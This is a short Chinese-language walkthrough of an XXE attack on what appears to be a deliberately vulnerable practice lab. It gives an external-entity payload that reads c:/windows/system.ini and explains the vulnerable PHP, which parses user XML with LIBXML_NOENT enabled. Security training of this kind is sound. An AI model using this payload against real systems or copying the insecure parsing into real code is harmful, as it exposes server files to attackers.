一個簡單的XXE

簡單抓包來看一下
這裡的xml傳入應該就接口了,這裡是windows系統搭建的,簡單寫一下payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">]
>
<name>&xxe;</name>
直接送出試試
burp上抓包是這樣的
是以我們要用Repeater測試的話就需要對payload進行URL編碼,不然就不能識别解析了。
源碼分析
$html='';
//考慮到目前很多版本裡面libxml的版本都>=2.9.0了,是以這裡添加了LIBXML_NOENT參數開啟了外部實體解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML聲明、DTD文檔類型定義、文檔元素這些都搞懂了嗎?</p>";
}
}
?>
這裡做了一個對送出和xml不為空的判斷,然後
$xml來存儲post傳過來的資料,也就是我們的輸入
simplexml_load_string(data,classname,options,ns,is_prefix);
轉換形式良好的 XML 字元串為 SimpleXMLElement 對象,然後輸出對象的鍵和元素
options就是可選。規定附加的 Libxml 參數。
LIBXML_NOENT - 開啟外部實體解析,
.=,累加到$html上,
用<pre>标簽來輸出
pre 元素中允許的文本可以包括實體樣式和基于内容的樣式變化,還有連結、圖像和水準分隔線。